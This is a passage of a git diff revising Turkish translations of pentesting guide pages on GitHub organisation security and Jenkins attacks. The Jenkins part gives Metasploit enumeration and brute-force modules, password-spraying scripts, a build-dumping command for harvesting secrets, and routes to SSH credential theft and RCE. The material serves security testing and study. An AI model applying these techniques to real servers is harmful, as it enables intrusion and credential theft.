listeleyebilirsiniz** _https://github.com/orgs/\/teams_ adresinde. Diğer takımların alt takımlarını görmek için her bir ana takıma erişmeniz gerektiğini unutmayın. +Bir organizasyonda **oluşturulan takımları listeleyebilirsiniz**: _https://github.com/orgs/\/teams_. Diğer takımların alt takımlarını görmek için her ana takıma erişmeniz gerektiğini unutmayın. ### Kullanıcılar @@ -81,7 +81,7 @@ Github, hesabınıza kimlik doğrulamak ve sizin adınıza işlemler gerçekleş ### **SSH Anahtarları** -Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz.** [https://github.com/settings/keys](https://github.com/settings/keys) +Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına izin veren bir veya daha fazla genel anahtar ile yapılandırabilirsiniz.** [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG Anahtarları** @@ -102,10 +102,10 @@ Oauth uygulamaları, **github bilginizin bir kısmına erişim izni veya sizi ta Bazı **güvenlik önerileri**: -- Bir **OAuth Uygulaması**, her zaman **tüm GitHub üzerinde kimlik doğrulaması yapılmış GitHub kullanıcısı olarak hareket etmelidir** (örneğin, kullanıcı bildirimleri sağlarken) ve yalnızca belirtilen kapsamlarla erişim sağlamalıdır. +- Bir **OAuth Uygulaması**, her zaman **tüm GitHub üzerinde kimlik doğrulaması yapılmış GitHub kullanıcısı gibi hareket etmelidir** (örneğin, kullanıcı bildirimleri sağlarken) ve yalnızca belirtilen kapsamlarla erişim sağlamalıdır. - Bir OAuth Uygulaması, kimlik doğrulaması yapılmış kullanıcı için "GitHub ile Giriş Yap" özelliğini etkinleştirerek bir kimlik sağlayıcı olarak kullanılabilir. - **Tek bir depo** üzerinde hareket etmesini istiyorsanız bir **OAuth Uygulaması** oluşturmayın. `repo` OAuth kapsamı ile, OAuth Uygulamaları **kimlik doğrulaması yapılmış kullanıcının tüm** depolarında **hareket edebilir**. -- **Takımınız veya şirketiniz için bir uygulama olarak hareket etmesi için bir OAuth Uygulaması** oluşturmayın. OAuth Uygulamaları **tek bir kullanıcı** olarak kimlik doğrulaması yapar, bu nedenle bir kişi bir şirketin kullanması için bir OAuth Uygulaması oluşturursa ve ardından şirketten ayrılırsa, başka hiç kimse buna erişemez. +- **Takımınız veya şirketiniz** için bir uygulama olarak hareket etmesi için bir OAuth Uygulaması oluşturmayın. OAuth Uygulamaları **tek bir kullanıcı** olarak kimlik doğrulaması yapar, bu nedenle bir kişi bir şirketin kullanması için bir OAuth Uygulaması oluşturursa ve ardından şirketten ayrılırsa, başka kimse buna erişemez. - **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) ulaşabilirsiniz. ### Github Uygulamaları @@ -116,16 +116,16 @@ Github uygulamaları, **github bilginize erişim sağlamak veya sizi taklit etme - GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**. - Kendi Github uygulamanızı [https://github.com/settings/apps](https://github.com/settings/apps) adresinde oluşturabilirsiniz. - Hesabınıza erişimi olan tüm **Github uygulamalarını** [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) adresinde görebilirsiniz. -- İşte **Github Uygulamaları için API Uç Noktaları** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak, bunlardan bazılarına erişim sağlayabilecektir. +- İşte **Github Uygulamaları için API Uç Noktaları**: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Uygulamanın izinlerine bağlı olarak bazılarına erişim sağlayabilir. - Bir **organizasyondaki** yüklü uygulamaları _https://github.com/organizations/\/settings/installations_ adresinde görebilirsiniz. Bazı güvenlik önerileri: - Bir GitHub Uygulaması, **bir kullanıcıdan bağımsız olarak eylemler gerçekleştirmelidir** (uygulama [kullanıcıdan sunucuya](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) jetonu kullanmıyorsa). Kullanıcıdan sunucuya erişim jetonlarını daha güvenli hale getirmek için, 8 saat sonra süresi dolacak erişim jetonları ve yeni bir erişim jetonu için değiştirilebilecek bir yenileme jetonu kullanabilirsiniz. Daha fazla bilgi için "[Kullanıcıdan sunucuya erişim jetonlarını yenileme](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" kısmına bakın. -- GitHub Uygulamasının **belirli depolarla entegre olduğundan emin olun**. +- GitHub Uygulamasının **belirli depolarla entegre olduğundan** emin olun. - GitHub Uygulaması, **kişisel bir hesap veya bir organizasyon** ile **bağlanmalıdır**. - GitHub Uygulamasının, bir kullanıcının yapabileceği her şeyi bilmesini ve yapmasını beklemeyin. -- **Sadece "GitHub ile Giriş Yap" hizmetine ihtiyacınız varsa GitHub Uygulaması kullanmayın**. Ancak bir GitHub Uygulaması, kullanıcıları _ve_ diğer şeyleri oturum açtırmak için bir [kullanıcı tanımlama akışı](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir. +- **Sadece "GitHub ile Giriş Yap" hizmetine ihtiyacınız varsa GitHub Uygulaması kullanmayın**. Ancak bir GitHub Uygulaması, kullanıcıları _giriş yaparken_ ve diğer şeyleri yaparken bir [kullanıcı tanımlama akışı](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kullanabilir. - Sadece bir GitHub kullanıcısı olarak hareket etmek ve o kullanıcının yapabileceği her şeyi yapmak istiyorsanız bir GitHub Uygulaması oluşturmayın. - GitHub Actions ile uygulamanızı kullanıyorsanız ve iş akışı dosyalarını değiştirmek istiyorsanız, `workflow` kapsamını içeren bir OAuth jetonu ile kullanıcı adına kimlik doğrulaması yapmalısınız. Kullanıcının iş akışı dosyasını içeren depoda yönetici veya yazma iznine sahip olması gerekir. Daha fazla bilgi için "[OAuth uygulamaları için kapsamları anlama](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" kısmına bakın. - **Daha fazla** bilgi için [buradan](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) ulaşabilirsiniz. @@ -136,7 +136,7 @@ Bu, **github'da kimlik doğrulama yapmanın bir yolu değildir**, ancak **kötü ## Git Eylemleri -Git eylemleri, bir olay gerçekleştiğinde **kodun yürütülmesini otomatikleştirmeye** olanak tanır. Genellikle yürütülen kod, **deponun koduyla bir şekilde ilişkilidir** (belki bir docker konteyneri oluşturmak veya PR'nin gizli bilgiler içermediğini kontrol etmek). +Git eylemleri, bir olay gerçekleştiğinde **kodun yürütülmesini otomatikleştirmeyi** sağlar. Genellikle yürütülen kod, **deponun koduyla bir şekilde ilişkilidir** (belki bir docker konteyneri oluşturmak veya PR'nin gizli bilgiler içermediğini kontrol etmek). ### Yapılandırma @@ -144,7 +144,7 @@ _https://github.com/organizations/\/settings/actions_ adresinde, organ Github eylemlerinin kullanımını tamamen yasaklamak, **tüm github eylemlerine izin vermek** veya yalnızca belirli eylemlere izin vermek mümkündür. -Ayrıca, bir Github Eylemi çalıştırmak için **kimin onayına ihtiyaç duyduğunu** ve bir Github Eylemi çalıştırıldığında **GITHUB_TOKEN'un izinlerini** yapılandırmak da mümkündür. +Ayrıca, bir Github Eylemi çalıştırmak için **kimin onay alması gerektiğini** ve bir Github Eylemi çalıştırıldığında **GITHUB_TOKEN'un izinlerini** yapılandırmak da mümkündür. ### Git Gizli Bilgileri @@ -170,75 +170,75 @@ example-command "$SUPER_SECRET" > [!WARNING] > Gizli bilgiler **yalnızca bunları tanımlayan Github Actions'tan erişilebilir**. -> Repo veya organizasyonlarda yapılandırıldıktan sonra **github kullanıcıları onlara tekrar erişemeyecek**, sadece **değiştirebileceklerdir**. +> Repo veya organizasyonlarda yapılandırıldıktan sonra **github kullanıcıları bunlara tekrar erişemeyecek**, yalnızca **değiştirebileceklerdir**. Bu nedenle, **github gizli bilgilerini çalmanın tek yolu, Github Action'ı yürüten makineye erişim sağlamaktır** (bu senaryoda yalnızca Action için tanımlanan gizli bilgilere erişebileceksiniz). ### Git Ortamları -Github, **gizli bilgileri** saklayabileceğiniz **ortamlar** oluşturmanıza olanak tanır. Ardından, ortam içindeki gizli bilgilere erişim vermek için github action'a şöyle bir şeyle erişim verebilirsiniz: +Github, **gizli bilgileri** saklayabileceğiniz **ortamlar** oluşturmanıza olanak tanır. Ardından, ortam içindeki gizli bilgilere erişim vermek için github action'a şöyle bir şey verebilirsiniz: ```yaml jobs: deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Bir ortamı **tüm dallar** (varsayılan), **yalnızca korumalı** dallar veya **hangi dalların erişebileceğini belirtmek** için yapılandırabilirsiniz.\ +Ayrıca, bir **eylem** gerçekleştirmeden önce **gerekli inceleme sayısını** ayarlayabilir veya dağıtımların devam etmesine izin vermeden önce **bir süre bekleyebilirsiniz**. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +Bir Github Action, **github ortamında çalıştırılabilir** veya kullanıcı tarafından yapılandırılan bir **üçüncü taraf altyapısında** çalıştırılabilir. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Birçok organizasyon, **üçüncü taraf altyapısında** Github Actions çalıştırılmasına izin verecektir çünkü genellikle **daha ucuzdur**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Bir organizasyonun **kendinden barındırılan çalıştırıcılarını** _https://github.com/organizations/\/settings/actions/runners_ adresinde listeleyebilirsiniz. -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +**Github Actions'ın, github dışındaki altyapıda hangi eylemlerin çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında `runs-on: self-hosted` aramaktır. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +**Farklı bir organizasyonun kendinden barındırılan kutusunda bir organizasyonun Github Action'ını çalıştırmak mümkün değildir** çünkü **çalıştırıcıyı yapılandırırken çalıştırıcının ait olduğu yeri bilmek için benzersiz bir token oluşturulur**. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +Örneğin, özel **Github Runner bir makinede AWS veya GCP içinde yapılandırılmışsa**, Action **metadata uç noktasına erişim sağlayabilir** ve **makinenin çalıştığı hizmet hesabının token'ını çalabilir**. -### Git Action Compromise +### Git Action Kompromisi -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +Eğer tüm eylemlere (veya kötü niyetli bir eyleme) izin verilirse, bir kullanıcı **kötü niyetli** bir **Github action** kullanabilir ve bu, çalıştırıldığı **konteyneri tehlikeye atabilir**. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> Bir **kötü niyetli Github Action** çalıştırılması, saldırgan tarafından **istismar edilebilir**: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Eylemin erişebildiği tüm gizli bilgileri çalmak** +> - **Yanlış yöne hareket etmek**, eğer eylem **üçüncü taraf altyapısında** çalıştırılıyorsa ve makineyi çalıştırmak için kullanılan SA token'ına erişim sağlanabiliyorsa (muhtemelen metadata servisi aracılığıyla) +> - **Çalışma akışında** kullanılan token'ı **istismar etmek** ve **eylemin çalıştırıldığı repo kodunu çalmak veya hatta değiştirmek**. -## Branch Protections +## Dalları Korumak -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, **bazı dallar içinde kod yazabilmek için birkaç koruma yöntemi koymaktır**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +Bir deponun **dal korumaları** _https://github.com/\/\/settings/branches_ adresinde bulunabilir. > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> **Bir dal korumasını organizasyon düzeyinde ayarlamak mümkün değildir**. Bu nedenle, hepsi her repo üzerinde belirtilmelidir. -Different protections can be applied to a branch (like to master): +Bir dala (örneğin master'a) farklı korumalar uygulanabilir: -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. -- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- **Birleştirmeden önce bir PR gerektirebilirsiniz** (bu nedenle kodu doğrudan dal üzerinde birleştiremezsiniz). Eğer bu seçilirse, farklı diğer korumalar devreye girebilir: +- **Onay sayısı gerektirin**. PR'nızın onaylanması için genellikle 1 veya 2 kişinin daha onay vermesi istenir, böylece tek bir kullanıcı kodu doğrudan birleştiremez. +- **Yeni commitler gönderildiğinde onayları geçersiz kılın**. Aksi takdirde, bir kullanıcı meşru bir kodu onaylayabilir ve ardından kötü niyetli kod ekleyip birleştirebilir. +- **Kod Sahiplerinden inceleme gerektirin**. Repo için en az 1 kod sahibi PR'yı onaylamalıdır (bu nedenle "rastgele" kullanıcılar onay veremez). +- **Pull request incelemelerini geçersiz kılabilecek kişileri kısıtlayın.** Pull request incelemelerini geçersiz kılabilecek kişileri veya takımları belirtebilirsiniz. +- **Belirtilen aktörlerin pull request gereksinimlerini atlamasına izin verin**. Bu kullanıcılar önceki kısıtlamaları atlayabilecektir. +- **Birleştirmeden önce durum kontrollerinin geçmesini gerektirin.** Commit'i birleştirebilmek için bazı kontrollerin geçmesi gerekir (örneğin, açık metin gizli olmadığını kontrol eden bir github action). +- **Birleştirmeden önce konuşma çözümlemesi gerektirin**. Kod üzerindeki tüm yorumlar, PR birleştirilmeden önce çözülmelidir. +- **İmzalı commitler gerektirin**. Commitlerin imzalanması gerekir. +- **Doğrusal tarih gerektirin.** Eşleşen dallara birleştirme commitlerinin gönderilmesini engelleyin. +- **Yönetici dahil edin**. Bu ayarlanmazsa, yöneticiler kısıtlamaları atlayabilir. +- **Eşleşen dallara kimlerin itme yapabileceğini kısıtlayın**. PR gönderebilecek kişileri kısıtlayın. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Gördüğünüz gibi, bir kullanıcının bazı kimlik bilgilerini elde etmeyi başarsanız bile, **repo'lar korumalı olabilir ve bu nedenle örneğin master'a kod göndermenizi engelleyebilir**. -## References +## Referanslar - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index babd18009..7970386be 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -10,19 +10,19 @@ Jenkins, **programlama dilleri** ve kaynak kodu depolarının neredeyse **herhan basic-jenkins-information.md {{#endref}} -## Kimlik Doğrulamasız Sayım +## Kimlik Doğrulaması Olmadan Sayfa Listeleme Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için (_/people_ veya _/asynchPeople_, bu mevcut kullanıcıları listeler) şunları kullanabilirsiniz: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` -Kullanıcı doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin: +Kimlik doğrulaması gerektirmeden komutları çalıştırıp çalıştıramayacağınızı kontrol edin: ``` msf> use auxiliary/scanner/http/jenkins_command ``` -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **kullanıcı adları**. +Kimlik bilgileri olmadan _**/asynchPeople/**_ yoluna veya _**/securityRealm/user/admin/search/index?q=**_ yoluna bakarak **kullanıcı adlarını** görebilirsiniz. -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +Jenkins sürümünü _**/oops**_ veya _**/error**_ yolundan alabilirsiniz. ![](<../../images/image (146).png>) @@ -34,7 +34,7 @@ https://github.com/gquere/pwn_jenkins ## Giriş -In the basic information you can check **Jenkins'e giriş yapmanın tüm yolları**: +Temel bilgilerde **Jenkins'e giriş yapmanın tüm yollarını** kontrol edebilirsiniz: {{#ref}} basic-jenkins-information.md @@ -42,38 +42,38 @@ basic-jenkins-information.md ### Kayıt -You will be able to find Jenkins instances that **hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.** +Jenkins örneklerini bulabileceksiniz ki **bir hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.** ### **SSO Girişi** -Also if **SSO** **işlevselliği**/**eklentileri** were present then you should attempt to **giriş yapmak** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Ayrıca eğer **SSO** **işlevselliği**/**eklentileri** mevcutsa, o zaman bir test hesabı (yani, bir test **Github/Bitbucket hesabı**) kullanarak uygulamaya **giriş yapmayı** denemelisiniz. [**buradan**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) bir hile. ### Bruteforce -**Jenkins** lacks **şifre politikası** and **kullanıcı adı brute-force önlemesi**. It's essential to **brute-force** users since **zayıf şifreler** or **kullanıcı adları şifre olarak** may be in use, even **ters kullanıcı adları şifre olarak**. +**Jenkins**, **şifre politikası** ve **kullanıcı adı brute-force önleme** eksikliği vardır. **Zayıf şifreler** veya **şifre olarak kullanıcı adları** kullanılıyor olabileceğinden, kullanıcıları **brute-force** yapmak önemlidir, hatta **tersine çevrilmiş kullanıcı adları şifre olarak** da kullanılabilir. ``` msf> use auxiliary/scanner/http/jenkins_login ``` -### Şifre Spraying +### Parola Spraying -[Bu python betiğini](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) veya [bu powershell betiğini](https://github.com/chryzsh/JenkinsPasswordSpray) kullanın. +Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). ### IP Beyaz Liste Bypass -Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol satıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için. +Birçok organizasyon, **SaaS tabanlı kaynak kontrol yönetim (SCM) sistemleri** olan GitHub veya GitLab'ı, Jenkins veya TeamCity gibi **iç, kendi barındırdığı CI** çözümleri ile birleştirir. Bu yapı, CI sistemlerinin **SaaS kaynak kontrol sağlayıcılarından webhook olayları almasına** olanak tanır, esasen pipeline işlerini tetiklemek için. -Bunu başarmak için, organizasyonlar **SCM platformlarının** **IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini unutmamak önemlidir; bu da **iç CI sistemine** istek gönderebilir. +Bunu başarmak için, organizasyonlar **SCM platformlarının IP aralıklarını beyaz listeye alır**, böylece **webhooklar** aracılığıyla **iç CI sistemine** erişim izni verir. Ancak, **herkesin** GitHub veya GitLab'da bir **hesap** oluşturabileceğini ve bunu **webhook tetiklemek** için yapılandırabileceğini belirtmek önemlidir; bu da potansiyel olarak **iç CI sistemine** istek gönderebilir. -Kontrol edin: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) ## İç Jenkins Suistimalleri -Bu senaryolarda Jenkins'e erişim için geçerli bir hesabınız olduğunu varsayacağız. +Bu senaryolarda Jenkins'e erişmek için geçerli bir hesabınız olduğunu varsayacağız. > [!WARNING] -> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz**. +> Jenkins'te yapılandırılan **Yetkilendirme** mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak, aşağıdaki saldırıları **gerçekleştirip gerçekleştiremeyeceğinizi** **belirleyebilirsiniz.** -Daha fazla bilgi için temel bilgileri kontrol edin: +Daha fazla bilgi için temel bilgilere bakın: {{#ref}} basic-jenkins-information.md @@ -85,7 +85,7 @@ Eğer Jenkins'e eriştiyseniz, [http://127.0.0.1:8080/asynchPeople/](http://127. ### Düz Metin Gizli Bilgileri Bulmak için Yapıları Dökme -Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [bu betiği](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın. +Düz metin gizli bilgileri bulmak umuduyla yapı konsol çıktıları ve yapı ortam değişkenlerini dökmek için [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) kullanın. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -93,21 +93,21 @@ gitleaks detect --no-git -v ``` ### **SSH Kimlik Bilgilerini Çalma** -Eğer ele geçirilen kullanıcının **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkisi varsa** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir: +Eğer ele geçirilen kullanıcı **yeni bir Jenkins düğümü oluşturma/değiştirme için yeterli yetkilere sahipse** ve diğer düğümlere erişim için SSH kimlik bilgileri zaten saklanıyorsa, bu kimlik bilgilerini **çalarak** yeni bir düğüm oluşturup/değiştirerek ve **kimlik bilgilerini kaydedecek bir ana bilgisayar ayarlayarak** elde edebilir: ![](<../../images/image (218).png>) -Jenkins ssh kimlik bilgilerini genellikle **global sağlayıcıda** (`/credentials/`) bulabilirsiniz, bu nedenle diğer gizli bilgileri dökme şeklinizle bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bölümüne bakın. +Genellikle Jenkins ssh kimlik bilgilerini **global provider** (`/credentials/`) içinde bulabilirsiniz, bu nedenle diğer gizli bilgileri döktüğünüz gibi bunları da dökebilirsiniz. Daha fazla bilgi için [**Gizli Bilgileri Dökme Bölümü**](./#dumping-secrets) bakın. ### **Jenkins'te RCE** -Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** fırsatı verir veya hatta **bulut kimlik bilgilerini toplama** imkanı sağlar. +Jenkins sunucusunda **shell almak**, saldırgana tüm **gizli bilgileri** ve **env değişkenlerini** sızdırma ve aynı ağda bulunan diğer makineleri **istismar etme** veya hatta **bulut kimlik bilgilerini toplama** fırsatı verir. Varsayılan olarak, Jenkins **SYSTEM olarak çalışır**. Bu nedenle, onu ele geçirmek saldırgana **SYSTEM yetkileri** verecektir. -### **Proje Oluşturma/Değiştirme ile RCE** +### **Proje Oluşturma/Düzenleme ile RCE** -Proje oluşturma/değiştirme, Jenkins sunucusunda RCE elde etmenin bir yoludur: +Proje oluşturma/düzenleme, Jenkins sunucusunda RCE elde etmenin bir yoludur: {{#ref}} jenkins-rce-creating-modifying-project.md @@ -121,9 +121,9 @@ Ayrıca, yeni bir proje oluşturmaktan daha gizli olabilecek bir Groovy script jenkins-rce-with-groovy-script.md {{#endref}} -### Pipeline Oluşturma/Değiştirme ile RCE +### Pipeline Oluşturma/Düzenleme ile RCE -Ayrıca **pipeline oluşturarak/değiştirerek RCE elde edebilirsiniz**: +Ayrıca **pipeline oluşturarak/düzenleyerek RCE elde edebilirsiniz**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md @@ -133,25 +133,25 @@ jenkins-rce-creating-modifying-pipeline.md Pipeline'ları istismar etmek için hala Jenkins'e erişiminiz olması gerekir. -### Build Pipeline'ları +### Build Pipeline'lar -**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda **depo içinde** pipeline sözdizimini içeren bir **dosya** yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır: +**Pipeline'lar**, projelerde **build mekanizması** olarak da kullanılabilir, bu durumda pipeline sözdizimini içeren **bir dosya** depo içinde yapılandırılabilir. Varsayılan olarak `/Jenkinsfile` kullanılır: ![](<../../images/image (127).png>) Ayrıca, **pipeline yapılandırma dosyalarını başka yerlerde** (örneğin başka depolarda) saklamak da mümkündür; bu, depo **erişimini** ve pipeline erişimini **ayırma** amacı taşır. -Eğer bir saldırganın **o dosya üzerinde yazma erişimi** varsa, onu **değiştirebilir** ve **potansiyel olarak** pipeline'ı tetikleyebilir, hatta Jenkins'e erişimi olmadan bile.\ -Saldırganın bazı dal korumalarını **aşması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak bunlar aşılabilir veya aşılamayabilir). +Eğer bir saldırgan **o dosya üzerinde yazma erişimine sahipse**, onu **değiştirebilir** ve **pipeline'ı tetikleyebilir**; hatta Jenkins'e erişimi olmadan bile.\ +Saldırganın **bazı dal korumalarını atlatması** gerekebilir (platforma ve kullanıcı yetkilerine bağlı olarak atlatılabilir veya atlatılamayabilir). Özel bir pipeline'ı çalıştırmak için en yaygın tetikleyiciler şunlardır: -- **Ana dal için pull request** (veya potansiyel olarak diğer dallar için) -- **Ana dal için push** (veya potansiyel olarak diğer dallar için) +- **Ana dal için Pull request** (veya potansiyel olarak diğer dallar için) +- **Ana dala Push** (veya potansiyel olarak diğer dallar için) - **Ana dalı güncelleyin** ve bir şekilde çalıştırılmasını bekleyin > [!NOTE] -> Eğer bir **harici kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**. +> Eğer bir **dış kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**. ### Pipeline RCE @@ -182,9 +182,9 @@ Jenkins'in gizli bilgileri genellikle nasıl ele aldığı hakkında bilgi için basic-jenkins-information.md {{#endref}} -Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job//configure`) **sınırlanabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir. +Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job//configure`) **ait olabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir. -Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgi** almak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli bilgisi** olarak **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız: +Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgiye** ulaşmak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli 